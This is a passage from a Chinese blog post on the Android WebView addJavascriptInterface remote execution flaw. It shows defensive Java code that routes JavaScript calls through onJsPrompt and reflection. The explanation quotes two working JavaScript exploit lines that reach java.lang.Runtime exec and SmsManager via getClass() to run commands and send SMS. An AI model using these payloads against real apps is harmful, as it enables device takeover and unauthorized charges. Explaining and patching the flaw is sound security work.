            if (!message.startsWith("MyApp:")) {
                return false;
            }
    
            // return prompt('MyApp:'+JSON.stringify({obj:'XXX_obj',func:'XXX_method',args:[arg0,arg1]}));
            String jsonStr = message.substring("MyApp:".length());
            try {
                JSONObject jsonObj = new JSONObject(jsonStr);
                String interfaceName = jsonObj.getString("obj");
                String methodName = jsonObj.getString("func");
                JSONArray argsArray = jsonObj.getJSONArray("args");
                Object[] args = null;
                if (null != argsArray) {
                    int count = argsArray.length();
                    if (count > 0) {
                        args = new Object[count];
    
                        for (int i = 0; i < count; ++i) {
                            Object arg = argsArray.get(i);
                            if (!arg.toString().equals("null")) args[i] = arg;
                            else args[i] = null;
                        }
                    }
                }
    
                if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
                    return true;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return false;
        }
    
        /**
         * 利用反射, 调用java对象的方法
         */
        private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {
    
            boolean succeed = false;
            final Object obj = javascriptInterfaces.get(interfaceName);
            if (null == obj) {
                result.cancel();
                return false;
            }
    
            Class<?>[] parameterTypes = null;
            int count = 0;
            if (args != null) {
                count = args.length;
            }
    
            if (count > 0) {
                parameterTypes = new Class[count];
                for (int i = 0; i < count; ++i) {
                    parameterTypes[i] = getClassFromJsonObject(args[i]);
                }
            }
    
            try {
                Method method = obj.getClass().getMethod(methodName, parameterTypes);
                Object returnObj = method.invoke(obj, args);
                boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
                String returnValue = isVoid ? "" : returnObj.toString();
                result.confirm(returnValue); // 通过prompt()返回调用结果
                succeed = true;
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (Exception e) {
                e.printStackTrace();
            }
    
            result.cancel();
            return succeed;
        }
    
        /**
         * 解析参数类型
         */
        private Class<?> getClassFromJsonObject(Object obj) {
            Class<?> cls = obj.getClass();
    
            if (cls == Integer.class) {
                cls = Integer.TYPE;
            } else if (cls == Boolean.class) {
                cls = Boolean.TYPE;
            } else {
                cls = String.class;
            }
    
            return cls;
        }
    
        // ================================ api<17, 防攻击代码 ↑ =================================
    }
  • 这个漏洞是远程执行漏洞,从window中调用getClass()获取class对象,然后通过反射机制调用java中的任何代码

    return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
    
    var smsManager = window[obj].getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
    smsManager.sendTextMessage("10086",null,"this a message from js.");
  • 修补这个漏洞,主要是通过java要被js调用的类生成js片段代码,去掉了getClass()之类的危险方法,然后通过load()加载到页面中.当js要调用java中的方法时,会调用js中的片段,执行prompt(message)方法(该方法原本是用于弹出提示框),执行后会回调webview的onJsPrompt()接口,返回对返回的带有类名和方法名的信息进行反射执行.

  • 整个执行过程图,可参考完整代码参考
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值